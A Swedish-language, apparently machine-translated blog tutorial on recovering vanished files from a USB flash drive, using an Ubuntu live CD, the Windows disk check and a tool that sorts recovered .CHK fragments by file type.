  • sirdarckcat.blogspot.com/2009/10/couple-of-unicodeissueson-php-and.html - sirdarckat blogginlägg om PHP och Unicode.
  • googleblog.blogspot.com/2010/01/unicode-nearing-50of-web.html – Googles blogginlägg om den allmänna tillväxttrenden för Unicode-användning.

Jag såg detta för första gången - filerna och mapparna från flashenheten försvann, och istället för dem dök det upp filer med obegripliga namn i form av "kryakozabriks", låt oss villkorligt kalla dem hieroglyfer.

Flash-enheten öppnades med vanliga Windows-verktyg och dessutom, tyvärr, gav detta inga positiva resultat.

Alla filer på flashenheten är borta, förutom en. Flera filer med konstiga namn dök upp: &, t, n-&, etc.

Filerna från flashenheten har försvunnit, men Windows visar att det lediga utrymmet är upptaget. Detta tyder på att även om filerna vi är intresserade av inte visas så finns de på flashenheten.

Även om filerna har försvunnit, men platsen är intagen. I ett specifikt fall är 817 MB upptaget

Den första tanken på orsaken till det som hände är effekten av viruset. Tidigare, när viruset användes, användes FAR-hanterarens filhanterare, som i regel ser alla filer (dolda och system). Men den här gången såg FAR-hanteraren bara vad standardutforskaren i Windows såg ...

"Förlorade" filer kunde inte ses ens av FAR-hanteraren

Eftersom Windows inte ser de saknade filerna, kör det inte tricket att ändra filattribut med kommandoraden och kommandot attrib -S -H /S /D.

Vad kommer Linux att se?

I den här situationen, som ett experiment, bestämde jag mig för att använda ett Linux-baserat operativsystem. I ett specifikt fall användes en disk med operativsystemet Ubuntu 10.04.3 (mer om Ubuntu och var man kan ladda ner det).

Viktig! Det finns inget behov av att installera Ubuntu på datorn - starta bara från CD:n, precis som det görs med .

Efter uppstart av Ubuntu kommer skrivbordet upp och du kan arbeta med mappar och filer på exakt samma sätt som i Windows.

Som väntat såg Ubuntu fler filer jämfört med Windows.

Ubuntu visar också de filer som inte var synliga under Windows (klickbara)

Vidare, för att inte störa sig på filattribut, utfördes elementära åtgärder: alla visade filer valdes och kopierades till den lokala enheten "D" (naturligtvis kan du kopiera filerna till systemenheten "C").

Nu kan du starta upp Windows igen och kontrollera vad som hände.

Nu ser Windows flera Word-filer. Observera att filnamnen också visas korrekt.

Tyvärr har problemet inte lösts, eftersom det fanns klart fler filer på flashenheten (att döma av volymen på 817 MB) än vi lyckades ta ut. Av denna anledning, låt oss försöka kontrollera flashenheten för fel.

Felsök flash-enhet

För att hitta och åtgärda diskfel har Windows ett standardverktyg.

Steg 1. Högerklicka på flash-enhetsikonen och välj "Egenskaper".

Steg 2 Gå till fliken "Tjänst" och klicka på knappen "Utför verifiering".

Steg 3 Vi klickar på knappen "Starta".

Efter kontroll och korrigering av systemfel visas ett motsvarande meddelande.

Meddelande: "Några fel har hittats och åtgärdats"

Efter att ha åtgärdat felen försvann filerna med hieroglyfer och en dold mapp med namnet FOUND.000 dök upp i rotkatalogen på flashenheten.

Inuti mappen FOUND.000 fanns det 264 filer med CHK-tillägget. Filer med tillägget CHK kan lagra fragment av filer av olika typer som extraherats från hårddiskar och flashenheter med hjälp av verktygen ScanDisk eller CHKDISK.

Om alla filer på flash-enheten var av samma typ, till exempel Word-dokument med docx-tillägget, välj sedan alla filer i Total Commander-filhanteraren och tryck på tangentkombinationen Ctrl + M (Files - Group Rename) . Ange vilket tillägg du ska leta efter och vad du ska ändra det till.

I just det här fallet visste jag bara att det fanns Word-dokument och filer med Power Point-presentationer på flashenheten. Det är mycket problematiskt att ändra tillägg med den vetenskapliga metoden, så det är bättre att använda specialiserade program - de kommer själva att avgöra vilken typ av data som lagras i filen. Ett sådant program är ett gratisverktyg som inte kräver installation på en dator.

Ange källmappen (jag dumpade CHK-filerna på hårddisken). Därefter valde jag alternativet där filer med olika tillägg kommer att placeras i olika mappar.

Det återstår att trycka på "Start"

Som ett resultat av verktyget dök tre mappar upp:

  1. DOC - med Word-dokument;
  2. JPG - med bilder;
  3. ZIP - med arkiv.

Innehållet i åtta filer förblev okänt. Huvuduppgiften var dock klar, Word-dokumenten och fotografierna återställdes.

Nackdelen är att det inte gick att återställa liknande filnamn, så uppenbarligen måste man mixtra med att döpa om Word-dokument. När det gäller filer med bilder, kommer även namn som FILE0001.jpg, FILE0002.jpg, etc. att fungera.